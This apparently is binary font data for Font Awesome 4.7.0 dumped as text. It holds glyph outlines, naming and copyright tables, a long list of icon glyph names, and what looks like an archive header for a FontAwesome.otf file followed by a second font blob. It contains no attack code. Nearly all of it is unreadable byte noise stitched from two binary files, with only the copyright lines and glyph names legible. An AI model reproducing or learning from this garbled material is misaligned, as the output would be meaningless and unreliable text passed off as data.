0GYޞ.jKKjKqoooolzzz80LlL    D   / 7 H   #"'.7'654&#"'67'.6?>%"&46227#".547|D,=),9#7[͑fx!X: D$+s)hhijZt<F/*8C,q؜e\r,WBX/C2hhh=tXm        > N Z  +"&=46;2+"&=4>7>54&#"#"/.7632  >.  $$ p =+& 35,W48'3	l
zffff^aaP2P: D#;$#$*;?R
Cfff^aa   'Y  	 > O `   "&5462&'.'.76.5632.'#&'.'&6?65\\[<CzC25U#
.ZK m+[$/#>(	|	r[A@[[@A#2#7*<Y$+}"(q87] F 	_1)
	     	    # 1 K e   34&+326+"&=!#!"&763!2#!"&5463!2#>?4.'3#>?4.'3#>?4.'3Xe`64[l7
,	L;=+3&98&+)>>+3&98&+)>=+3&88&+)>	Wj|r>Q$~d$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY$kaw+-wi[[\;/xgY     J \ m   4.'.'&#"#"'.'&47>7632327>7>54&'&#"327>"&47654'&462"'&476'&462"'&47>&'&462i$		$^"
%%
"^$		$W "@9O?1&&18?t@" W&%%&4KK6pp&46ZaaZ&4mttm^x	--	x^=/U7Ckkz'[$=&5%54'4&KK4r<r4&X4[ [4&mm             ' / 7 ? G O W _ g o w        "264$"264"264 "264$"264 "264$"264"264 "&462"&462 "&462"&462 "&462 "&462 "&462 "&462 "&462"&462 "&462"&462^^^^^^^^^^^^^^^^^^^^^^^^^^ ppppppppppppppppppppppppppppppppppppppppppppppp`^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^pppppppppppppppppppppppppppppppppppppppp  	         L T i {   "&4626"&462$"&462#"&4632654>7>54   "&54>2"&462%"&54&#""&546 %#"&'&'.7>#"'&'.7>&4&&4&4&&4S Z &4&&44$#&&&j3$"('$&4&[՛[&4&&4F&4&]\&4&$
	!D4%	,\44&&4&4&&4&- Z 4&&4& ;cX/)#&>B)&4&j9aU0'.4a7&&u՛[[4&&4&@&&]]&&Ώ0
u40
)4         # g   &'.#"32676%4/&#"326'&#"2632#2+&'%#"'&6?676676632%#"'&6767#"&'&6767#"'.7>327"#"&'&6763"'.7>;7632;>%5K$
"0%>s$
"0%>;;>%5KVL#>H30\($$(\(єyO2F/{(?0(TK.5sg$єy#-F/{$70(TK.5sg$L#>H30\($$(\#(@5"'K58!'"58!'"55"'K#dS$K		K$Sdx#@1wd>N;ET0((?
-
2K|1wd#N;ET0$(?
-
2K$#dS$K		K$Sdx          D N \  2654& 265462"2654   #"32654>7>54."/&47&'?62 &4&&4&h՛[&4&r$'("$3j&&&#$4["@GB["&&Β&&][u&&7a4.'0Ua9j&4&)B>&#)/Xc;u՛""Gi[       X h  #"&54676324&'&#"'>54#"32#"54>54'.#"32>7>767632326#!"&5463!2b)
:4FDN[1,^JK-*E#9gWRYvm0O	w@wwwC22c@X&!9{MA_"S4b// DR"XljPY<	@www     %   e  4.#"32>7676#'.#"#"&54>3232>754&*#"&54>763 >32''il$E/
@P@
^`'W6&!.. ! -P5+


E{n46vLeVz:,SN/
M5M[	]$[^5iC'2H&!(?]v`*	l	b$9>    = R   2#"&5467%!"&7>3-.7>;%.7>322326/.76/.'&6766/&/&#"&676	&676&6766/&672? =1(H/ 	'96&@)9<')29%
&06##$ J 07j)5@"*3%"!M
%#K"%Ne8)'8_(9.<c +8 8(%6 <)'4@@)#-<^
?%$-`%.}Q!&}%&N-lIJ;6>/=*%8!Q #P"\Q#N&a)<9     b R ] m p  %"'.'&54>76%&54763263  #"/7#"' #"&/%$% 322654&#"%'OV9
nt
|\d
ϓ[nt
|@D:)	;98'+|j," 41CH^nVz(~R	9\'	r
@L@	@w46HI(+C
,55,
f[op@\j;(zV~      i  / 5 O  #"'&54>32&#" 654'67'"'>54''&'"'6767&546767>7蒓`V BMR B9)̟!SH-77IXmSMH*k#".o;^J qןד>@YM$bKd ү[E";Kx%^6;%T,U:im=Mk        ) . D T  4'"&5463267&#" 6;64'.'4'>732676%#!"&5463!2),蛜s5-<A4ϲ
2W9
&P:\3)SEPJD4:3NIw@wwwNE	2@uus+,/?xsatmP')fHVEA(%dA4w&4J5*@www        O [  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76  $$ Cf'/'%($UL
(
#'/'@3#@,G)+H+@#3^aaX@_O#NW#O_.*	##(^aa   q [  632632#"&#"#".'&#"#".'&54767>7654.54632327&547>P9	B6?K?%O4T% >6>Z64Y=6>%S4N$?L?4B	@{:y/$ ,'R!F!8%#)(()#%:!F Q'+%0z:z       O _  4'.'&54>54&#"#"'654'.#"#"&#"3263232>3232>76#!"&5463!2 Cf'.'%($VM
)
#'.'@3#A,G)+H+A#4 w@wwwXA?4N$NW&M&L/*
##	+@www      	   O  $>?>762'&#"./454327 327>7>	 EpB5
3FAP/h\/NGSL	  RP*m95F84f&3Ga4B|wB .\FI*/.?&,5~K %&Y."7n<	"-I.M`{ARwJ!       F X ^ d j  ''''"'7&'7&'7&'7&547'67'67'67'63277774$#"32$			*'ֱ,?g=OO&L&NJBg;1''ֱ.=gCIM$'&&NJBg=.%w؝\\wIoo<<   -NIDg=/%(ײ+AhEHO*"#*OICh=/'(ֲ/=h>ON.]xwڝ]7e[@        ) 6  !!"3#"&546%3567654'3!67!4&'7Sgny]K-#75LSl>9V%cPe}&Hn_HȌ=UoLQ1!45647UC"    
        ! - 9 [ n x     "&46254&"326754&"326754&"26754&"26#".547632632626326'4#"#"54732764&"264.#"327632>#"'"'#"'#"&5#"'67&'327&'&54>3267>7>7>32632632T"8""8)<())(<))))<))<))<))<)Tد{ՐRhx=8 78 n 81pH_6SocF@b@?d?uKbM70[f5Y$35KUC<:[;+8 n 87 8/8Zlv]64qE 'YK0-AlB;
W#;WS9&(#-7Z://:/Tr++r,,r++r,,r++r,,r++r,,ʠgxXVעe9222222^KVvF02OO23OO`lF;mhj84DroB@r+@222222C0DP`.r8h9~T4.&o@91P       % 1  4'!3#"&46327&#"326%35#5##33  $$ }Pcc]<hlࠥYmmnnnn^aaw!LYƏ;edwnnnnnv^aa     %    '  #"$#"#.5462632327>32 1IUΠ?LL?cc4MX& 04;0XpD[[DpD,)&&    Q	    9 V \   26&".'&'&6?.#"#26327677>'32>&3#'&+"?626&"#!'.'!"&5463!>;26;2!2P  P 	
92#.}SP9::%L\B )spN/9oJ5 
!+D`]BgY9+,9%
Pk4 P  P &NnF!_7*}B<{o0&&B;*<@$ucRRc#@16#37c&@@@J"@*4^`EDBo/8927
*@O LC!T!323X$BJ@@@ &AS
0C59"'D/&&D488$5A&         % O  #!"&547>7>2$7>/.".'&'&2> ^B@B^>FFzn_0P:P2\nzFF>R&p^1P:P1^&R
P2NMJMQ0Rr.B^^B	7:5]yPH!%%"FPy]5:7	=4QH!%%!Ht4=<"-/ ?          1 P p  +".'.'.?>;2>7$76&'&%.+"3!26#!"&5476 7>;2'
+~'*OJ%%JN,&x'%^M,EE,M7ZE[P*FF*P:5^B@B^){$.MK%%KM.$+X)o3"a  22!]4	I>"">,&S8JB##B12``B^^B8&ra#11#$R&              " & . 2 v  %/%''%/%7%7'%7'/#&5'&&?&'&?&'&7%27674?6J"0<=_gNU? DfuYGb7=^H^`	=v~yT3GDPO	4Fѭqi_w\ހ!1uS%V_-d
1=U{J8n~r        ' U  4.#".'"3!264&"26+#!"&5463!232+32+320P373/./373P0T=@=T֙֙|`^B@B^^BB^`````*9deG-!

!-Ged9IaallkOB^^BB^^B       	 + Y i  "&54622#!"&54>;2>+32+32+#!"&5463!2324&#!"3!26֙֙0.I/ OBBO	-Q52-)&)-2`````^B@B^^BB^` @|kkl"=IYL)CggC0[jM4				B^^BB^^B@@       ! 1 A Q u   4.#".'"3!24&"254&#!"3!2654&#!"3!2654&#!"3!26#!54&+"!54&+"!"&5463!2 )P90,***,09P)J6 6S"@8@ ^B@ @B^^BB^Ukc9		9ckU?@@88@@N@B^````^BB^^       ! 1 A Q u    #!"&4>32>72"&462#!"&=463!25#!"&=463!25#!"&=463!24&#!"3!546;2!546;2!26#!"&5463!2 J6 6J)P90,***,09P)"@8@@`@ @`^B@B^^BB^ՀUUkc9		9c`@@88@@2@````@B^^BB^^            (  %.'"&' $&   #"$&6$ wCιCwjJ~J>LlLśJSSJ͛>6LlL         $ ,     $&6654&$ 3 72&&  lLmzzBl> KlLGzzG>           ' 7  #!"&54>7&54>2   62654' '3/U]B,ȍ,B]U/OQнQ>+X}}X0bӃۚӅb0}hQQh>ff            # =   #!"&4>3272"&462!3!26#!"&5463!;26=!2 J6 6J)Q8PP8Q) ^B@B^^B``B^VVVld9KK9d`@B^^BB^``^        + ; K [ e u  4.#"'"3!264&"254&#!"3!2654&#!"3!26%54&+";2654&#!"3!26!54&#!"!#!"&5463!2"D/@@/D"?,,?pppp@@@ @^B@B^^BB^D6]W2@@2W]67MMppp@@@@@@@@n`@B^^BB^^       + ; K [ e u  #!"&54>3272"&462#!"&=463!2%#!"&=463!2+"&=46;25#!"&=463!2!3!26#!"&5463!2?,V,?"D/@@/D"pppp@@@ ^B@B^^BB^D7MM76]W2@@2W]֠ppp@@@@@@@@`@B^^BB^^      A  #"327.#"'63263#".'#"$&546$32326J9"65I).!1iCCu
+I\Gw\B!al݇yǙV/]:=B>9+<F+a[lePn[A&JR7t)+tHkFIK      e	    .    #"'&'>32%#!"&5463!2#"&54>54'&#"#"54654'.#"#"'.54>54'&'&543232654&432#"&54>764&'&'.54632 ?c'p& ?b1w{2V	?#&#9&CY'&.&#+B
: &65&*2w1GF1)2<)<'

(
BH=ӊ:NT :O	)4:i F~b`e!}U3i?fRUX|'&'&Ic&Q
	*2U.L6*/L:90%>..>%b>++z7ymlw45)0	33J@0!!TFL P]=GS-kwm	!*         (  %6&692?  $&6$ 	' al@lLlL,&EC
h$LlL          / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&546734&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dud<M- PppP -Mǅ9            / 3 7 ;  %"&5467534&'4&" 67   54746 #5#5#5ppF::FD<pp<D

PppP<dd<M- PppP -Mǅ9            	  + / 3 7  %"&54624&'4&" 67   54746 #5#5#5ppppD<pp<D

PppPOqqOM- PppP -Mǅ9         & . 6 > F N V ^ f n v ~      "/&4?.7&#"!4>3267622"&4"&46262"&42"&4462"$2"&42"&4"&46262"&4"&46262"&42"&4$2"&42"&42"&4



R

,H8Jfj QhjG^R,

!4&&4&Z4&&4&4&&4&4&&4& &4&&4 4&&4&4&&4&Z4&&4&4&&4&4&&4&4&&4&4&&4&&4&&4&Z4&&4&Z4&&4&



R

,[cGj  hQRJ'A,

&4&&4Z&4&&4Z&4&&4Z&4&&444&&4&&4&&4Z&4&&4Z&4&&4Z&4&&4&4&&4Z&4&&4Z&4&&4&&4&&4Z&4&&4Z&4&&4        % - 5 = E M }           +"&=#!"'+"&=&= "&4626"&462&"&462"&462&"&462&"&462#!"&=46;4632676/&?.7&#"!2 "&462&"&462&"&462"&462&"&462&"&462"&462&"&462"&462@?A A?@@R...R@`jlL.h)**$	%35K.....uvnu....@@jN **.t2#K5..R..R.        @ H q   '&'&54  &7676767654$'.766$76"&462&'&'&7>54.'.7>76ȵ|_ğyv/ۃ⃺k]
:Buq
CA
_kނXVobZZbnW |V	0 	Q2-
l}O		/	:1z	
q% zG
4(

6Roaą\<

)4	J}        %!!#!"&5463!2    ^B@B^^BB^ `@B^^BB^^       %#!"&=463!2 ^B@B^^BB^B^^BB^^           &  ))!32#!#!"&5463!463!2      `B^ ^B^B@B^^B`^BB^   ^B @B^B^^BB^`B^^       # 3  %764/764/&"'&"2?2#!"&5463!2














s^B@B^^BB^ג














@B^^BB^^     # ' 7  "/"/&4?'&4?62762!!%#!"&5463!2














   ^B@B^^BB^














 `@B^^BB^^          	!  $&6$ .2r`LlLf4LlL         # . C    &>"'&4762"/&4?62'"'&4762%'.>6.'.>6'>/>76&'&.'&7&'">?4'.677>7.>37654'&'67>776 $&6$ (4Z##&##&y"6&.JM@& "(XE*$+8
jT<l$3-V<2'.
-1%#e"!Z
+*)H	 8(j	#*-ƷVv/kh?'MlM$($R#&"#'#vZ@+&MbV$

G7--)

R2T
313dJ6@8lr2_5m/."G:=	)%5f0gt*2)?;CB66&, 	`48]USyLlL         G  6?>?3#'.'&!3!2>?3.'#!57>7'./5!27#'.#!"g%%D-!gg<6WWZe#1=/2*]Y3-,C1/Dx] VFIq-HD2NK'>*%R=f07=.fD]\|yu       , 0 > S e u  #2#"'&5<>323#3#&'#334'."#"+236'&54.#"5#37326#!"&5463!2		<	zzjk-L+ )[$8=".un/2 ^B@B^^BB^5cy	

(ݔI(8?C(3> #"($=@B^^BB^^     0K    S   &'.'&' ./674&$#">&>?>'76'#  "&#./.'7676767>76$w.~kuBR] T%z+",|ޟj<)(!(	~ˣzF8"{%%#5)}''xJF0"H[$%EJ#%.Gk29(B13"?@S)5" #9dmW";L65RA0@T.$}i`:f3A%%
BM<$q:)BD	aa%`]A&c|	Ms!
Z2}i[F&**
< ʣsc"J<&NsF  %  0 @ W m  6&'.6$.7>7$76".4>2.,&>6 '"'&7>=GV:e#:$?+%
q4g
&3hT`ZtQмQQмpAP1LK!:<}҈`dlb,9'

%%($!a3)W)xоQQоQQcQǡ-җe)Us2XD\ϼYd           / ? O _ o      #"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543#"=#"=4;543%#!"&5463!2++532325++532325++532325++532325++53232p00pp00pp00pp00pp008((88(@(8 0pp00pp00pp00pp00pp0          @(88((88          / Q    /&'%&/"&=.6?&?&'&6?'.>-#".6?'.>'&6'.>54627>%>76#"'%%6272Gf!)p&4&p)!fG272	*6	"472Gf!)p&4&p)!fG272"	6*	!k3j&3
%,*&&ր*9%
3&j3k!./!>>$,*!k3.j&3
%Ԝ9*&&ր*ǜ,%
3&j3k!*,$>>!/.           &  6.'&$	&76$76$PutۥiPuGxy
Զ[xy
-_v١eNuv١e	 =uʦ[t78X       
    & 6  ##'7-'%'&$  $6 $&6$ 31NE0gR=|||">"LlL^v!1f2iЂwgfZQQ^>"||||wLlL  &Z X b l w          .'&>'&'&".'.'&&'&'&7>767>67>7626&'&>&'&> '.7>.676'&'&'&'.67.>7>6&'&676&'&676.676&'&>&'&676'.>6/4-LJg-$	6)j2%+QF)b3FSP21DK2AW")")$??8A&AE5lZm=gG2Sw*&>$5jD GHyX/4F r	1	1""!l=6>	6
,5./'e
.*|Ed!u&&%&	&5d	))66@C&8B@qL?P^7	G-hI[q:<rS	U~97A_IR`gp1	1	;"("j?>"T6
,6 
   &        / `                                      L       w       Q'             	 
              A  	   ^    	     	     	  "   	    	  $&  	  _  	    	  y  	 	   	  *  	  < C o p y r i g h t   D a v e   G a n d y   2 0 1 6 .   A l l   r i g h t s   r e s e r v e d .  Copyright Dave Gandy 2016. All rights reserved.  F o n t A w e s o m e  FontAwesome  R e g u l a r  Regular  F O N T L A B : O T F E X P O R T  FONTLAB:OTFEXPORT  F o n t A w e s o m e  FontAwesome  V e r s i o n   4 . 7 . 0   2 0 1 6  Version 4.7.0 2016  F o n t A w e s o m e  FontAwesome  P l e a s e   r e f e r   t o   t h e   C o p y r i g h t   s e c t i o n   f o r   t h e   f o n t   t r a d e m a r k   a t t r i b u t i o n   n o t i c e s .  Please refer to the Copyright section for the font trademark attribution notices.  F o r t   A w e s o m e  Fort Awesome  D a v e   G a n d y  Dave Gandy  h t t p : / / f o n t a w e s o m e . i o  http://fontawesome.io  h t t p : / / f o n t a w e s o m e . i o / l i c e n s e /  http://fontawesome.io/license/                                                	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ab   cdefghijklmnopqrstuvwxyz{|}~  "	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRS TUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ 	
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ glassmusicsearchenvelopeheartstar
star_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflag
headphones
volume_offvolume_down	volume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_height
text_width
align_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencil
map_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_right	plus_sign
minus_signremove_signok_signquestion_sign	info_sign
screenshotremove_circle	ok_circle
ban_circle
arrow_leftarrow_rightarrow_up
arrow_down	share_altresize_fullresize_smallexclamation_signgiftleaffireeye_open	eye_closewarning_signplanecalendarrandomcommentmagnet
chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1hPK     0w\1  C  customizer/framework/assets/font/font-awesome/fonts/FontAwesome.otfnu [        OTTO 
    CFF 9s7    EPAR  ( l   0OS/22z^    `cmapǢT   head    6hhea
 P   $hmtxJ+ t  
maxpP  
`   name>$# 
h  post    x      FontAwesome C 	 U6 U622        " , 0 4 < > E G M T \ _ e h m q y }                  #)4>HT_lp{
'4=GRYfoy&,39COVcoz"/5;FPUZes}&+16<EOW_hmqv|)04=DPX\aju(,26GYhy%16;>EMUckox				$	5	G	V	g	l	p	v													




&
*
-
0
3
6
9
<
?
B
F
O
_
c
u












 &5BQafmty !%)-159=AHLPTX\`dhlptx|%,37;?CGKOVZ^bfjnrvz~	!%)-159=AEJNRVZ^bfjnrvz~
"&*.26:>BFJNRVZ^bfjnrvz~
"&*.29@GNU\cjqx '.5<CJQX_fmt{  '.5<kvglassmusicsearchenvelopeheartstarstar_emptyuserfilmth_largethth_listokremovezoom_inzoom_outoffsignalcogtrashhomefile_alttimeroaddownload_altdownloaduploadinboxplay_circlerepeatrefreshlist_altlockflagheadphonesvolume_offvolume_downvolume_upqrcodebarcodetagtagsbookbookmarkprintcamerafontbolditalictext_heighttext_widthalign_leftalign_centeralign_rightalign_justifylistindent_leftindent_rightfacetime_videopicturepencilmap_markeradjusttinteditsharecheckmovestep_backwardfast_backwardbackwardplaypausestopforwardfast_forwardstep_forwardejectchevron_leftchevron_rightplus_signminus_signremove_signok_signquestion_signinfo_signscreenshotremove_circleok_circleban_circlearrow_leftarrow_rightarrow_uparrow_downshare_altresize_fullresize_smallexclamation_signgiftleaffireeye_openeye_closewarning_signplanecalendarrandomcommentmagnetchevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontalbar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_altstar_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_signupload_altlemonphonecheck_emptybookmark_emptyphone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificatehand_righthand_lefthand_uphand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilterbriefcasefullscreennotequalinfinitylessequalgrouplinkcloudbeakercutcopypaper_clipsavesign_blankreorderulolstrikethroughunderlinetablemagictruckpinterestpinterest_signgoogle_plus_signgoogle_plusmoneycaret_downcaret_upcaret_leftcaret_rightcolumnssortsort_downsort_upenvelope_altlinkedinundolegaldashboardcomment_altcomments_altboltsitemapumbrellapastelight_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospitalambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_downangle_leftangle_rightangle_upangle_downdesktoplaptoptabletmobile_phonecircle_blankquote_leftquote_rightspinnercirclereplygithub_altfolder_close_altfolder_open_altexpand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcodereply_allstar_half_emptylocation_arrowcropcode_forkunlink_279exclamationsuperscriptsubscript_283puzzle_piecemicrophonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchorunlock_altbullseyeellipsis_horizontalellipsis_vertical_303play_signticketminus_sign_altcheck_minuslevel_uplevel_downcheck_signedit_sign_312share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfilefile_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexingxing_signyoutube_playdropboxstackexchangeinstagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightapplewindowsandroidlinuxdribbleskypefoursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EECopyright Dave Gandy 2016. All rights reserved.FontAwesome   [ _       "+/37;TX_dhn#'Prz.26:@DHM%*.48@ENUZ^} /3PW^cgl8<FJCUajov{			@	J	Z											


&
*
.
:
A
T
m
r
}








;BFLTX_cinsz .38@FKPp|&Edmz%1=BGNU[e
#)-7=CJO]kr):PUblqv| ",5:BJOTgz$6HZ]hs{
 &,6@JTX`hnt|)8@OSX\bhp~"/4;?FLSW\hmt',2=HS^elw*
A
T&fAV
TlfPzz
 P
4!
t

q
q
bt&
y}}y33%33
`zT~~4]
Tg@Z
4

R
,T[@
<<4
,
^2
%%%%%%3
T<
nh@;TN
TITN
C
KFKk6
?J

:
K,:
y}Tj
5
/W
K$'T$V
L
v


L
6
f
y}}yy}}ylz||z%
1

KTTY=|zKz||zKz|N

!5
!

ff(
G

Q
3|T|T|T
T
T|zs
R3&'
'
<
@A
G
^
[=
T /
3
c-`V}hn"Bv
g
OG
`E}n\>lg
,hh@@h EQP
|z@z||zTz||zz||zTz|7
F
x
3CDRRDDuy
;
;
5!Jb 
h

5
/
TT +
-tzuxu[Brlmyz~ 5qsUhnnhhnnh
tttT
 y}}yKy}?
j3CC

5;(=ZXWG/9;/_Mknmn9:YIƑP`q~d_ircrriiiy
@H-R
'
 
T 1<t0
lnl||}_zob^^bzM<M<v	o_}||r

/0
]}
]

EQy
v(
W
T/T

jih{t*
<<<
<+B
AS i^wvhvi^S AE]#'
K(
D
Fm3'!%Ơ#xM'nqwdo^]
t
x
1!!EQQE5i'Ty}
tV`

K
T


t
kb
K<z
X
@3CC3@#P
nhQ
h/:nh

:

;xtulTK
1
0
8i8_dd_~~xzƅy"9O9%9)o'0qi?@hh?@irC
TFKkTr
P
;;YS<!yots{tqT/Tg5[
F

s
*
41
ZZrwh)S

-
vvzz:
tttttt
1
7
Ԏ8
Jn+tmy;
[8

hn>~w~~w~K
=+tX
@]
@gZ
tV``V;
;`L< xra
YW
@3&
~~w~@5!}yvKyx}zyn
T7rrcr~g
hnnh
YYG
P
~********=
4
4)
.@([
h
P
vT~z$j
+[
<<5!I
4*
A
C
7
r
C
7
@r
b
!6gTE 
ˋ h3/{V=n\n]9
vx{zz{X
CZ7)D
T}yT8TC
T7
Tr
]][
1


7Uf@m
 
<
ZZZZ{B
rrz{
+
T
<Z:wBD$$D(=`hZTA

/0
nh&&&&&&{Vv7+42yqpV``VV`J
Y
MY
}
>
|znhyyrrrrypttp&pt15
tv'
K(

;;g

